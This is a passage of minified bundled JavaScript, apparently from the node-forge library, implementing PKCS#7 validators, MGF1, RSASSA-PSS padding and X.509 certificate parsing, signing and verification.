HG7={name:"EncryptedContentInfo",tagClass:w7.Class.UNIVERSAL,type:w7.Type.SEQUENCE,constructed:!0,value:[{name:"EncryptedContentInfo.contentType",tagClass:w7.Class.UNIVERSAL,type:w7.Type.OID,constructed:!1,capture:"contentType"},{name:"EncryptedContentInfo.contentEncryptionAlgorithm",tagClass:w7.Class.UNIVERSAL,type:w7.Type.SEQUENCE,constructed:!0,value:[{name:"EncryptedContentInfo.contentEncryptionAlgorithm.algorithm",tagClass:w7.Class.UNIVERSAL,type:w7.Type.OID,constructed:!1,capture:"encAlgorithm"},{name:"EncryptedContentInfo.contentEncryptionAlgorithm.parameter",tagClass:w7.Class.UNIVERSAL,captureAsn1:"encParameter"}]},{name:"EncryptedContentInfo.encryptedContent",tagClass:w7.Class.CONTEXT_SPECIFIC,type:0,capture:"encryptedContent",captureAsn1:"encryptedContentAsn1"}]};bZA.envelopedDataValidator={name:"EnvelopedData",tagClass:w7.Class.UNIVERSAL,type:w7.Type.SEQUENCE,constructed:!0,value:[{name:"EnvelopedData.Version",tagClass:w7.Class.UNIVERSAL,type:w7.Type.INTEGER,constructed:!1,capture:"version"},{name:"EnvelopedData.RecipientInfos",tagClass:w7.Class.UNIVERSAL,type:w7.Type.SET,constructed:!0,captureAsn1:"recipientInfos"}].concat(HG7)};bZA.encryptedDataValidator={name:"EncryptedData",tagClass:w7.Class.UNIVERSAL,type:w7.Type.SEQUENCE,constructed:!0,value:[{name:"EncryptedData.Version",tagClass:w7.Class.UNIVERSAL,type:w7.Type.INTEGER,constructed:!1,capture:"version"}].concat(HG7)};var uvY={name:"SignerInfo",tagClass:w7.Class.UNIVERSAL,type:w7.Type.SEQUENCE,constructed:!0,value:[{name:"SignerInfo.version",tagClass:w7.Class.UNIVERSAL,type:w7.Type.INTEGER,constructed:!1},{name:"SignerInfo.issuerAndSerialNumber",tagClass:w7.Class.UNIVERSAL,type:w7.Type.SEQUENCE,constructed:!0,value:[{name:"SignerInfo.issuerAndSerialNumber.issuer",tagClass:w7.Class.UNIVERSAL,type:w7.Type.SEQUENCE,constructed:!0,captureAsn1:"issuer"},{name:"SignerInfo.issuerAndSerialNumber.serialNumber",tagClass:w7.Class.UNIVERSAL,type:w7.Type.INTEGER,constructed:!1,capture:"serial"}]},{name:"SignerInfo.digestAlgorithm",tagClass:w7.Class.UNIVERSAL,type:w7.Type.SEQUENCE,constructed:!0,value:[{name:"SignerInfo.digestAlgorithm.algorithm",tagClass:w7.Class.UNIVERSAL,type:w7.Type.OID,constructed:!1,capture:"digestAlgorithm"},{name:"SignerInfo.digestAlgorithm.parameter",tagClass:w7.Class.UNIVERSAL,constructed:!1,captureAsn1:"digestParameter",optional:!0}]},{name:"SignerInfo.authenticatedAttributes",tagClass:w7.Class.CONTEXT_SPECIFIC,type:0,constructed:!0,optional:!0,capture:"authenticatedAttributes"},{name:"SignerInfo.digestEncryptionAlgorithm",tagClass:w7.Class.UNIVERSAL,type:w7.Type.SEQUENCE,constructed:!0,capture:"signatureAlgorithm"},{name:"SignerInfo.encryptedDigest",tagClass:w7.Class.UNIVERSAL,type:w7.Type.OCTETSTRING,constructed:!1,capture:"signature"},{name:"SignerInfo.unauthenticatedAttributes",tagClass:w7.Class.CONTEXT_SPECIFIC,type:1,constructed:!0,optional:!0,capture:"unauthenticatedAttributes"}]};bZA.signedDataValidator={name:"SignedData",tagClass:w7.Class.UNIVERSAL,type:w7.Type.SEQUENCE,constructed:!0,value:[{name:"SignedData.Version",tagClass:w7.Class.UNIVERSAL,type:w7.Type.INTEGER,constructed:!1,capture:"version"},{name:"SignedData.DigestAlgorithms",tagClass:w7.Class.UNIVERSAL,type:w7.Type.SET,constructed:!0,captureAsn1:"digestAlgorithms"},wG7,{name:"SignedData.Certificates",tagClass:w7.Class.CONTEXT_SPECIFIC,type:0,optional:!0,captureAsn1:"certificates"},{name:"SignedData.CertificateRevocationLists",tagClass:w7.Class.CONTEXT_SPECIFIC,type:1,optional:!0,captureAsn1:"crls"},{name:"SignedData.SignerInfos",tagClass:w7.Class.UNIVERSAL,type:w7.Type.SET,capture:"signerInfos",optional:!0,value:[uvY]}]};bZA.recipientInfoValidator={name:"RecipientInfo",tagClass:w7.Class.UNIVERSAL,type:w7.Type.SEQUENCE,constructed:!0,value:[{name:"RecipientInfo.version",tagClass:w7.Class.UNIVERSAL,type:w7.Type.INTEGER,constructed:!1,capture:"version"},{name:"RecipientInfo.issuerAndSerial",tagClass:w7.Class.UNIVERSAL,type:w7.Type.SEQUENCE,constructed:!0,value:[{name:"RecipientInfo.issuerAndSerial.issuer",tagClass:w7.Class.UNIVERSAL,type:w7.Type.SEQUENCE,constructed:!0,captureAsn1:"issuer"},{name:"RecipientInfo.issuerAndSerial.serialNumber",tagClass:w7.Class.UNIVERSAL,type:w7.Type.INTEGER,constructed:!1,capture:"serial"}]},{name:"RecipientInfo.keyEncryptionAlgorithm",tagClass:w7.Class.UNIVERSAL,type:w7.Type.SEQUENCE,constructed:!0,value:[{name:"RecipientInfo.keyEncryptionAlgorithm.algorithm",tagClass:w7.Class.UNIVERSAL,type:w7.Type.OID,constructed:!1,capture:"encAlgorithm"},{name:"RecipientInfo.keyEncryptionAlgorithm.parameter",tagClass:w7.Class.UNIVERSAL,constructed:!1,captureAsn1:"encParameter",optional:!0}]},{name:"RecipientInfo.encryptedKey",tagClass:w7.Class.UNIVERSAL,type:w7.Type.OCTETSTRING,constructed:!1,capture:"encKey"}]}});var Jj6=v((L4H,OG7)=>{var LqA=m3();bY();LqA.mgf=LqA.mgf||{};var BvY=OG7.exports=LqA.mgf.mgf1=LqA.mgf1=LqA.mgf1||{};BvY.create=function(A){var K={generate:function(q,Y){var z=new LqA.util.ByteBuffer,w=Math.ceil(Y/A.digestLength);for(var H=0;H<w;H++){var J=new LqA.util.ByteBuffer;J.putInt32(H),A.start(),A.update(q+J.getBytes()),z.putBuffer(A.digest())}return z.truncate(z.length()-Y),z.getBytes()}};return K}});var $G7=v((R4H,XG7)=>{var A$1=m3();Jj6();XG7.exports=A$1.mgf=A$1.mgf||{};A$1.mgf.mgf1=A$1.mgf1});var K$1=v((y4H,_G7)=>{var RqA=m3();uC();bY();var mvY=_G7.exports=RqA.pss=RqA.pss||{};mvY.create=function(A){if(arguments.length===3)A={md:arguments[0],mgf:arguments[1],saltLength:arguments[2]};var{md:K,mgf:q}=A,Y=K.digestLength,z=A.salt||null;if(typeof z==="string")z=RqA.util.createBuffer(z);var w;if("saltLength"in A)w=A.saltLength;else if(z!==null)w=z.length();else throw Error("Salt length not specified or specific salt not given.");if(z!==null&&z.length()!==w)throw Error("Given salt length does not match length of given salt.");var H=A.prng||RqA.random,J={};return J.encode=function(O,X){var $,_=X-1,G=Math.ceil(_/8),Z=O.digest().getBytes();if(G<Y+w+2)throw Error("Message is too long to encrypt.");var W;if(z===null)W=H.getBytesSync(w);else W=z.bytes();var D=new RqA.util.ByteBuffer;D.fillWithByte(0,8),D.putBytes(Z),D.putBytes(W),K.start(),K.update(D.getBytes());var j=K.digest().getBytes(),M=new RqA.util.ByteBuffer;M.fillWithByte(0,G-w-Y-2),M.putByte(1),M.putBytes(W);var P=M.getBytes(),f=G-Y-1,N=q.generate(j,f),T="";for($=0;$<f;$++)T+=String.fromCharCode(P.charCodeAt($)^N.charCodeAt($));var C=65280>>8*G-_&255;return T=String.fromCharCode(T.charCodeAt(0)&~C)+T.substr(1),T+j+String.fromCharCode(188)},J.verify=function(O,X,$){var _,G=$-1,Z=Math.ceil(G/8);if(X=X.substr(-Z),Z<Y+w+2)throw Error("Inconsistent parameters to PSS signature verification.");if(X.charCodeAt(Z-1)!==188)throw Error("Encoded message does not end in 0xBC.");var W=Z-Y-1,D=X.substr(0,W),j=X.substr(W,Y),M=65280>>8*Z-G&255;if((D.charCodeAt(0)&M)!==0)throw Error("Bits beyond keysize not zero as expected.");var P=q.generate(j,W),f="";for(_=0;_<W;_++)f+=String.fromCharCode(D.charCodeAt(_)^P.charCodeAt(_));f=String.fromCharCode(f.charCodeAt(0)&~M)+f.substr(1);var N=Z-Y-w-2;for(_=0;_<N;_++)if(f.charCodeAt(_)!==0)throw Error("Leftmost octets not zero as expected");if(f.charCodeAt(N)!==1)throw Error("Inconsistent PSS signature, 0x01 marker not found");var T=f.substr(-w),C=new RqA.util.ByteBuffer;C.fillWithByte(0,8),C.putBytes(O),C.putBytes(T),K.start(),K.update(C.getBytes());var R=K.digest().getBytes();return j===R},J}});var z$1=v((I4H,jG7)=>{var iK=m3();ha();xI();MBA();ru();$G7();ba();vqA();K$1();fBA();bY();var nA=iK.asn1,C4=jG7.exports=iK.pki=iK.pki||{},jY=C4.oids,w0={};w0.CN=jY.commonName;w0.commonName="CN";w0.C=jY.countryName;w0.countryName="C";w0.L=jY.localityName;w0.localityName="L";w0.ST=jY.stateOrProvinceName;w0.stateOrProvinceName="ST";w0.O=jY.organizationName;w0.organizationName="O";w0.OU=jY.organizationalUnitName;w0.organizationalUnitName="OU";w0.E=jY.emailAddress;w0.emailAddress="E";var ZG7=iK.pki.rsa.publicKeyValidator,gvY={name:"Certificate",tagClass:nA.Class.UNIVERSAL,type:nA.Type.SEQUENCE,constructed:!0,value:[{name:"Certificate.TBSCertificate",tagClass:nA.Class.UNIVERSAL,type:nA.Type.SEQUENCE,constructed:!0,captureAsn1:"tbsCertificate",value:[{name:"Certificate.TBSCertificate.version",tagClass:nA.Class.CONTEXT_SPECIFIC,type:0,constructed:!0,optional:!0,value:[{name:"Certificate.TBSCertificate.version.integer",tagClass:nA.Class.UNIVERSAL,type:nA.Type.INTEGER,constructed:!1,capture:"certVersion"}]},{name:"Certificate.TBSCertificate.serialNumber",tagClass:nA.Class.UNIVERSAL,type:nA.Type.INTEGER,constructed:!1,capture:"certSerialNumber"},{name:"Certificate.TBSCertificate.signature",tagClass:nA.Class.UNIVERSAL,type:nA.Type.SEQUENCE,constructed:!0,value:[{name:"Certificate.TBSCertificate.signature.algorithm",tagClass:nA.Class.UNIVERSAL,type:nA.Type.OID,constructed:!1,capture:"certinfoSignatureOid"},{name:"Certificate.TBSCertificate.signature.parameters",tagClass:nA.Class.UNIVERSAL,optional:!0,captureAsn1:"certinfoSignatureParams"}]},{name:"Certificate.TBSCertificate.issuer",tagClass:nA.Class.UNIVERSAL,type:nA.Type.SEQUENCE,constructed:!0,captureAsn1:"certIssuer"},{name:"Certificate.TBSCertificate.validity",tagClass:nA.Class.UNIVERSAL,type:nA.Type.SEQUENCE,constructed:!0,value:[{name:"Certificate.TBSCertificate.validity.notBefore (utc)",tagClass:nA.Class.UNIVERSAL,type:nA.Type.UTCTIME,constructed:!1,optional:!0,capture:"certValidity1UTCTime"},{name:"Certificate.TBSCertificate.validity.notBefore (generalized)",tagClass:nA.Class.UNIVERSAL,type:nA.Type.GENERALIZEDTIME,constructed:!1,optional:!0,capture:"certValidity2GeneralizedTime"},{name:"Certificate.TBSCertificate.validity.notAfter (utc)",tagClass:nA.Class.UNIVERSAL,type:nA.Type.UTCTIME,constructed:!1,optional:!0,capture:"certValidity3UTCTime"},{name:"Certificate.TBSCertificate.validity.notAfter (generalized)",tagClass:nA.Class.UNIVERSAL,type:nA.Type.GENERALIZEDTIME,constructed:!1,optional:!0,capture:"certValidity4GeneralizedTime"}]},{name:"Certificate.TBSCertificate.subject",tagClass:nA.Class.UNIVERSAL,type:nA.Type.SEQUENCE,constructed:!0,captureAsn1:"certSubject"},ZG7,{name:"Certificate.TBSCertificate.issuerUniqueID",tagClass:nA.Class.CONTEXT_SPECIFIC,type:1,constructed:!0,optional:!0,value:[{name:"Certificate.TBSCertificate.issuerUniqueID.id",tagClass:nA.Class.UNIVERSAL,type:nA.Type.BITSTRING,constructed:!1,captureBitStringValue:"certIssuerUniqueId"}]},{name:"Certificate.TBSCertificate.subjectUniqueID",tagClass:nA.Class.CONTEXT_SPECIFIC,type:2,constructed:!0,optional:!0,value:[{name:"Certificate.TBSCertificate.subjectUniqueID.id",tagClass:nA.Class.UNIVERSAL,type:nA.Type.BITSTRING,constructed:!1,captureBitStringValue:"certSubjectUniqueId"}]},{name:"Certificate.TBSCertificate.extensions",tagClass:nA.Class.CONTEXT_SPECIFIC,type:3,constructed:!0,captureAsn1:"certExtensions",optional:!0}]},{name:"Certificate.signatureAlgorithm",tagClass:nA.Class.UNIVERSAL,type:nA.Type.SEQUENCE,constructed:!0,value:[{name:"Certificate.signatureAlgorithm.algorithm",tagClass:nA.Class.UNIVERSAL,type:nA.Type.OID,constructed:!1,capture:"certSignatureOid"},{name:"Certificate.TBSCertificate.signature.parameters",tagClass:nA.Class.UNIVERSAL,optional:!0,captureAsn1:"certSignatureParams"}]},{name:"Certificate.signatureValue",tagClass:nA.Class.UNIVERSAL,type:nA.Type.BITSTRING,constructed:!1,captureBitStringValue:"certSignature"}]},FvY={name:"rsapss",tagClass:nA.Class.UNIVERSAL,type:nA.Type.SEQUENCE,constructed:!0,value:[{name:"rsapss.hashAlgorithm",tagClass:nA.Class.CONTEXT_SPECIFIC,type:0,constructed:!0,value:[{name:"rsapss.hashAlgorithm.AlgorithmIdentifier",tagClass:nA.Class.UNIVERSAL,type:nA.Class.SEQUENCE,constructed:!0,optional:!0,value:[{name:"rsapss.hashAlgorithm.AlgorithmIdentifier.algorithm",tagClass:nA.Class.UNIVERSAL,type:nA.Type.OID,constructed:!1,capture:"hashOid"}]}]},{name:"rsapss.maskGenAlgorithm",tagClass:nA.Class.CONTEXT_SPECIFIC,type:1,constructed:!0,value:[{name:"rsapss.maskGenAlgorithm.AlgorithmIdentifier",tagClass:nA.Class.UNIVERSAL,type:nA.Class.SEQUENCE,constructed:!0,optional:!0,value:[{name:"rsapss.maskGenAlgorithm.AlgorithmIdentifier.algorithm",tagClass:nA.Class.UNIVERSAL,type:nA.Type.OID,constructed:!1,capture:"maskGenOid"},{name:"rsapss.maskGenAlgorithm.AlgorithmIdentifier.params",tagClass:nA.Class.UNIVERSAL,type:nA.Type.SEQUENCE,constructed:!0,value:[{name:"rsapss.maskGenAlgorithm.AlgorithmIdentifier.params.algorithm",tagClass:nA.Class.UNIVERSAL,type:nA.Type.OID,constructed:!1,capture:"maskGenHashOid"}]}]}]},{name:"rsapss.saltLength",tagClass:nA.Class.CONTEXT_SPECIFIC,type:2,optional:!0,value:[{name:"rsapss.saltLength.saltLength",tagClass:nA.Class.UNIVERSAL,type:nA.Class.INTEGER,constructed:!1,capture:"saltLength"}]},{name:"rsapss.trailerField",tagClass:nA.Class.CONTEXT_SPECIFIC,type:3,optional:!0,value:[{name:"rsapss.trailer.trailer",tagClass:nA.Class.UNIVERSAL,type:nA.Class.INTEGER,constructed:!1,capture:"trailer"}]}]},QvY={name:"CertificationRequestInfo",tagClass:nA.Class.UNIVERSAL,type:nA.Type.SEQUENCE,constructed:!0,captureAsn1:"certificationRequestInfo",value:[{name:"CertificationRequestInfo.integer",tagClass:nA.Class.UNIVERSAL,type:nA.Type.INTEGER,constructed:!1,capture:"certificationRequestInfoVersion"},{name:"CertificationRequestInfo.subject",tagClass:nA.Class.UNIVERSAL,type:nA.Type.SEQUENCE,constructed:!0,captureAsn1:"certificationRequestInfoSubject"},ZG7,{name:"CertificationRequestInfo.attributes",tagClass:nA.Class.CONTEXT_SPECIFIC,type:0,constructed:!0,optional:!0,capture:"certificationRequestInfoAttributes",value:[{name:"CertificationRequestInfo.attributes",tagClass:nA.Class.UNIVERSAL,type:nA.Type.SEQUENCE,constructed:!0,value:[{name:"CertificationRequestInfo.attributes.type",tagClass:nA.Class.UNIVERSAL,type:nA.Type.OID,constructed:!1},{name:"CertificationRequestInfo.attributes.value",tagClass:nA.Class.UNIVERSAL,type:nA.Type.SET,constructed:!0}]}]}]},UvY={name:"CertificationRequest",tagClass:nA.Class.UNIVERSAL,type:nA.Type.SEQUENCE,constructed:!0,captureAsn1:"csr",value:[QvY,{name:"CertificationRequest.signatureAlgorithm",tagClass:nA.Class.UNIVERSAL,type:nA.Type.SEQUENCE,constructed:!0,value:[{name:"CertificationRequest.signatureAlgorithm.algorithm",tagClass:nA.Class.UNIVERSAL,type:nA.Type.OID,constructed:!1,capture:"csrSignatureOid"},{name:"CertificationRequest.signatureAlgorithm.parameters",tagClass:nA.Class.UNIVERSAL,optional:!0,captureAsn1:"csrSignatureParams"}]},{name:"CertificationRequest.signature",tagClass:nA.Class.UNIVERSAL,type:nA.Type.BITSTRING,constructed:!1,captureBitStringValue:"csrSignature"}]};C4.RDNAttributesAsArray=function(A,K){var q=[],Y,z,w;for(var H=0;H<A.value.length;++H){Y=A.value[H];for(var J=0;J<Y.value.length;++J){if(w={},z=Y.value[J],w.type=nA.derToOid(z.value[0].value),w.value=z.value[1].value,w.valueTagClass=z.value[1].type,w.type in jY){if(w.name=jY[w.type],w.name in w0)w.shortName=w0[w.name]}if(K)K.update(w.type),K.update(w.value);q.push(w)}}return q};C4.CRIAttributesAsArray=function(A){var K=[];for(var q=0;q<A.length;++q){var Y=A[q],z=nA.derToOid(Y.value[0].value),w=Y.value[1].value;for(var H=0;H<w.length;++H){var J={};if(J.type=z,J.value=w[H].value,J.valueTagClass=w[H].type,J.type in jY){if(J.name=jY[J.type],J.name in w0)J.shortName=w0[J.name]}if(J.type===jY.extensionRequest){J.extensions=[];for(var O=0;O<J.value.length;++O)J.extensions.push(C4.certificateExtensionFromAsn1(J.value[O]))}K.push(J)}}return K};function Ba(A,K){if(typeof K==="string")K={shortName:K};var q=null,Y;for(var z=0;q===null&&z<A.attributes.length;++z)if(Y=A.attributes[z],K.type&&K.type===Y.type)q=Y;else if(K.name&&K.name===Y.name)q=Y;else if(K.shortName&&K.shortName===Y.shortName)q=Y;return q}var q$1=function(A,K,q){var Y={};if(A!==jY["RSASSA-PSS"])return Y;if(q)Y={hash:{algorithmOid:jY.sha1},mgf:{algorithmOid:jY.mgf1,hash:{algorithmOid:jY.sha1}},saltLength:20};var z={},w=[];if(!nA.validate(K,FvY,z,w)){var H=Error("Cannot read RSASSA-PSS parameter block.");throw H.errors=w,H}if(z.hashOid!==void 0)Y.hash=Y.hash||{},Y.hash.algorithmOid=nA.derToOid(z.hashOid);if(z.maskGenOid!==void 0)Y.mgf=Y.mgf||{},Y.mgf.algorithmOid=nA.derToOid(z.maskGenOid),Y.mgf.hash=Y.mgf.hash||{},Y.mgf.hash.algorithmOid=nA.derToOid(z.maskGenHashOid);if(z.saltLength!==void 0)Y.saltLength=z.saltLength.charCodeAt(0);return Y},Y$1=function(A){switch(jY[A.signatureOid]){case"sha1WithRSAEncryption":case"sha1WithRSASignature":return iK.md.sha1.create();case"md5WithRSAEncryption":return iK.md.md5.create();case"sha256WithRSAEncryption":return iK.md.sha256.create();case"sha384WithRSAEncryption":return iK.md.sha384.create();case"sha512WithRSAEncryption":return iK.md.sha512.create();case"RSASSA-PSS":return iK.md.sha256.create();default:var K=Error("Could not compute "+A.type+" digest. Unknown signature OID.");throw K.signatureOid=A.signatureOid,K}},WG7=function(A){var K=A.certificate,q;switch(K.signatureOid){case jY.sha1WithRSAEncryption:case jY.sha1WithRSASignature:break;case jY["RSASSA-PSS"]:var Y,z;if(Y=jY[K.signatureParameters.mgf.hash.algorithmOid],Y===void 0||iK.md[Y]===void 0){var w=Error("Unsupported MGF hash function.");throw w.oid=K.signatureParameters.mgf.hash.algorithmOid,w.name=Y,w}if(z=jY[K.signatureParameters.mgf.algorithmOid],z===void 0||iK.mgf[z]===void 0){var w=Error("Unsupported MGF function.");throw w.oid=K.signatureParameters.mgf.algorithmOid,w.name=z,w}if(z=iK.mgf[z].create(iK.md[Y].create()),Y=jY[K.signatureParameters.hash.algorithmOid],Y===void 0||iK.md[Y]===void 0){var w=Error("Unsupported RSASSA-PSS hash function.");throw w.oid=K.signatureParameters.hash.algorithmOid,w.name=Y,w}q=iK.pss.create(iK.md[Y].create(),z,K.signatureParameters.saltLength);break}return K.publicKey.verify(A.md.digest().getBytes(),A.signature,q)};C4.certificateFromPem=function(A,K,q){var Y=iK.pem.decode(A)[0];if(Y.type!=="CERTIFICATE"&&Y.type!=="X509 CERTIFICATE"&&Y.type!=="TRUSTED CERTIFICATE"){var z=Error('Could not convert certificate from PEM; PEM header type is not "CERTIFICATE", "X509 CERTIFICATE", or "TRUSTED CERTIFICATE".');throw z.headerType=Y.type,z}if(Y.procType&&Y.procType.type==="ENCRYPTED")throw Error("Could not convert certificate from PEM; PEM is encrypted.");var w=nA.fromDer(Y.body,q);return C4.certificateFromAsn1(w,K)};C4.certificateToPem=function(A,K){var q={type:"CERTIFICATE",body:nA.toDer(C4.certificateToAsn1(A)).getBytes()};return iK.pem.encode(q,{maxline:K})};C4.publicKeyFromPem=function(A){var K=iK.pem.decode(A)[0];if(K.type!=="PUBLIC KEY"&&K.type!=="RSA PUBLIC KEY"){var q=Error('Could not convert public key from PEM; PEM header type is not "PUBLIC KEY" or "RSA PUBLIC KEY".');throw q.headerType=K.type,q}if(K.procType&&K.procType.type==="ENCRYPTED")throw Error("Could not convert public key from PEM; PEM is encrypted.");var Y=nA.fromDer(K.body);return C4.publicKeyFromAsn1(Y)};C4.publicKeyToPem=function(A,K){var q={type:"PUBLIC KEY",body:nA.toDer(C4.publicKeyToAsn1(A)).getBytes()};return iK.pem.encode(q,{maxline:K})};C4.publicKeyToRSAPublicKeyPem=function(A,K){var q={type:"RSA PUBLIC KEY",body:nA.toDer(C4.publicKeyToRSAPublicKey(A)).getBytes()};return iK.pem.encode(q,{maxline:K})};C4.getPublicKeyFingerprint=function(A,K){K=K||{};var q=K.md||iK.md.sha1.create(),Y=K.type||"RSAPublicKey",z;switch(Y){case"RSAPublicKey":z=nA.toDer(C4.publicKeyToRSAPublicKey(A)).getBytes();break;case"SubjectPublicKeyInfo":z=nA.toDer(C4.publicKeyToAsn1(A)).getBytes();break;default:throw Error('Unknown fingerprint type "'+K.type+'".')}q.start(),q.update(z);var w=q.digest();if(K.encoding==="hex"){var H=w.toHex();if(K.delimiter)return H.match(/.{2}/g).join(K.delimiter);return H}else if(K.encoding==="binary")return w.getBytes();else if(K.encoding)throw Error('Unknown encoding "'+K.encoding+'".');return w};C4.certificationRequestFromPem=function(A,K,q){var Y=iK.pem.decode(A)[0];if(Y.type!=="CERTIFICATE REQUEST"){var z=Error('Could not convert certification request from PEM; PEM header type is not "CERTIFICATE REQUEST".');throw z.headerType=Y.type,z}if(Y.procType&&Y.procType.type==="ENCRYPTED")throw Error("Could not convert certification request from PEM; PEM is encrypted.");var w=nA.fromDer(Y.body,q);return C4.certificationRequestFromAsn1(w,K)};C4.certificationRequestToPem=function(A,K){var q={type:"CERTIFICATE REQUEST",body:nA.toDer(C4.certificationRequestToAsn1(A)).getBytes()};return iK.pem.encode(q,{maxline:K})};C4.createCertificate=function(){var A={};return A.version=2,A.serialNumber="00",A.signatureOid=null,A.signature=null,A.siginfo={},A.siginfo.algorithmOid=null,A.validity={},A.validity.notBefore=new Date,A.validity.notAfter=new Date,A.issuer={},A.issuer.getField=function(K){return Ba(A.issuer,K)},A.issuer.addField=function(K){gC([K]),A.issuer.attributes.push(K)},A.issuer.attributes=[],A.issuer.hash=null,A.subject={},A.subject.getField=function(K){return Ba(A.subject,K)},A.subject.addField=function(K){gC([K]),A.subject.attributes.push(K)},A.subject.attributes=[],A.subject.hash=null,A.extensions=[],A.publicKey=null,A.md=null,A.setSubject=function(K,q){if(gC(K),A.subject.attributes=K,delete A.subject.uniqueId,q)A.subject.uniqueId=q;A.subject.hash=null},A.setIssuer=function(K,q){if(gC(K),A.issuer.attributes=K,delete A.issuer.uniqueId,q)A.issuer.uniqueId=q;A.issuer.hash=null},A.setExtensions=function(K){for(var q=0;q<K.length;++q)DG7(K[q],{cert:A});A.extensions=K},A.getExtension=function(K){if(typeof K==="string")K={name:K};var q=null,Y;for(var z=0;q===null&&z<A.extensions.length;++z)if(Y=A.extensions[z],K.id&&Y.id===K.id)q=Y;else if(K.name&&Y.name===K.name)q=Y;return q},A.sign=function(K,q){A.md=q||iK.md.sha1.create();var Y=jY[A.md.algorithm+"WithRSAEncryption"];if(!Y){var z=Error("Could not compute certificate digest. Unknown message digest algorithm OID.");throw z.algorithm=A.md.algorithm,z}A.signatureOid=A.siginfo.algorithmOid=Y,A.tbsCertificate=C4.getTBSCertificate(A);var w=nA.toDer(A.tbsCertificate);A.md.update(w.getBytes()),A.signature=K.sign(A.md)},A.verify=function(K){var q=!1;if(!A.issued(K)){var Y=K.issuer,z=A.subject,w=Error("The parent certificate did not issue the given child certificate; the child certificate's issuer does not match the parent's subject.");throw w.expectedIssuer=z.attributes,w.actualIssuer=Y.attributes,w}var H=K.md;if(H===null){H=Y$1({signatureOid:K.signatureOid,type:"certificate"});var J=K.tbsCertificate||C4.getTBSCertificate(K),O=nA.toDer(J);H.update(O.getBytes())}if(H!==null)q=WG7({certificate:A,md:H,signature:K.signature});return q},A.isIssuer=function(K){var q=!1,Y=A.issuer,z=K.subject;if(Y.hash&&z.hash)q=Y.hash===z.hash;else if(Y.attributes.length===z.attributes.length){q=!0;var w,H;for(var J=0;q&&J<Y.attributes.length;++J)if(w=Y.attributes[J],H=z.attributes[J],w.type!==H.type||w.value!==H.value)q=!1}return q},A.issued=function(K){return K.isIssuer(A)},A.generateSubjectKeyIdentifier=function(){return C4.getPublicKeyFingerprint(A.publicKey,{type:"RSAPublicKey"})},A.verifySubjectKeyIdentifier=function(){var K=jY.subjectKeyIdentifier;for(var q=0;q<A.extensions.length;++q){var Y=A.extensions[q];if(Y.id===K){var z=A.generateSubjectKeyIdentifier().getBytes();return iK.util.hexToBytes(Y.subjectKeyIdentifier)===z}}return!1},A};C4.certificateFromAsn1=function(A,K){var q={},Y=[];if(!nA.validate(A,gvY,q,Y)){var z=Error("Cannot read X.509 certificate. ASN.1 object is not an X509v3 Certificate.");throw z.errors=Y,z}var w=nA.derToOid(q.publicKeyOid);if(w!==C4.oids.rsaEncryption)throw Error("Cannot read public key. OID is not RSA.");var H=C4.createCertificate();H.version=q.certVersion?q.certVersion.charCodeAt(0):0;var J=iK.util.createBuffer(q.certSerialNumber);H.serialNumber=J.toHex(),H.signatureOid=iK.asn1.derToOid(q.certSignatureOid),H.signatureParameters=q$1(H.signatureOid,q.certSignatureParams,!0),H.siginfo.algorithmOid=iK.asn1.derToOid(q.certinfoSignatureOid),H.siginfo.parameters=q$1(H.siginfo.algorithmOid,q.certinfoSignatureParams,!1),H.signature=q.certSignature;var O=[];if(q.certValidity1UTCTime!==void 0)O.push(nA.utcTimeToDate(q.certValidity1UTCTime));if(q.certValidity2GeneralizedTime!==void 0)O.push(nA.generalizedTimeToDate(q.certValidity2GeneralizedTime));if(q.certValidity3UTCTime!==void 0)O.push(nA.utcTimeToDate(q.certValidity3UTCTime));if(q.certValidity4GeneralizedTime!==void 0)O.push(nA.generalizedTimeToDate(q.certValidity4GeneralizedTime));if(O.length>2)throw Error("Cannot read notBefore/notAfter validity times; more than two times were provided in the certificate.");if(O.length<2)throw Error("Cannot read notBefore/notAfter validity times; they were not provided as either UTCTime or GeneralizedTime.");if(H.validity.notBefore=O[0],H.validity.notAfter=O[1],H.tbsCertificate=q.tbsCertificate,K){H.md=Y$1({signatureOid:H.signatureOid,type:"certificate"});var X=nA.toDer(H.tbsCertificate);H.md.update(X.getBytes())}var $=iK.md.sha1.create(),_=nA.toDer(q.certIssuer);if($.update(_.getBytes()),H.issuer.getField=function(W){return Ba(H.issuer,W)},H.issuer.addField=function(W){gC([W]),H.issuer.attributes.push(W)},H.issuer.attributes=C4.RDNAttributesAsArray(q.certIssuer),q.certIssuerUniqueId)H.issuer.uniqueId=q.certIssuerUniqueId;H.issuer.hash=$.digest().toHex();var G=iK.md.sha1.create(),Z=nA.toDer(q.certSubject);if(G.update(Z.getBytes()),H.subject.getField=function(W){return Ba(H.subject,W)},H.subject.addField=function(W){gC([W]),H.subject.attributes.push(W)},H.subject.attributes=C4.RDNAttributesAsArray(q.certSubject),q.certSubjectUniqueId)H.subject.uniqueId=q.certSubjectUniqueId;if(H.subject.hash=G.digest().toHex(),q.certExtensions)H.extensions=C4.certificateExtensionsFromAsn1(q.certExtensions);else H.extensions=[];return H.publicKey=C4.publicKeyFromAsn1(q.subjectPublicKeyInfo),H};C4.certificateExtensionsFromAsn1=function(A){var K=[];for(var q=0;q<A.value.length;++q){var Y=A.value[q];for(var z=0;z<Y.value.length;++z)K.push(C4.certificateExtensionFromAsn1(Y.value[z]))}return K};C4.certificateExtensionFromAsn1=function(A){var K={};if(K.id=nA.derToOid(A.value[0].value),K.critical=!1,A.value[1].type===nA.Type.BOOLEAN)K.critical=A.value[1].value.charCodeAt(0)!==0,K.value=A.value[2].value;else K.value=A.value[1].value;if(K.id in jY){if(K.name=jY[K.id],K.name==="keyUsage"){var q=nA.fromDer(K.value),Y=0,z=0;if(q.value.length>1)Y=q.value.charCodeAt(1),z=q.value.length>2?q.value.charCodeAt(2):0;K.digitalSignature=(Y&128)===128,K.nonRepudiation=(Y&64)===64,K.keyEncipherment=(Y&32)===32,K.dataEncipherment=(Y&16)===16,K.keyAgreement=(Y&8)===8,K.keyCertSign=(Y&4)===4,K.cRLSign=(Y&2)===2,K.encipherOnly=(Y&1)===1,K.decipherOnly=(z&128)===128}else if(K.name==="basicConstraints"){var q=nA.fromDer(K.value);if(q.value.length>0&&q.value[0].type===nA.Type.BOOLEAN)K.cA=q.value[0].value.charCodeAt(0)!==0;else K.cA=!1;var w=null;if(q.value.length>0&&q.value[0].type===nA.Type.INTEGER)w=q.value[0].value;else if(q.value.length>1)w=q.value[1].value;if(w!==null)K.pathLenConstraint=nA.derToInteger(w)}else if(K.name==="extKeyUsage"){var q=nA.fromDer(K.value);for(var H=0;H<q.value.length;++H){var 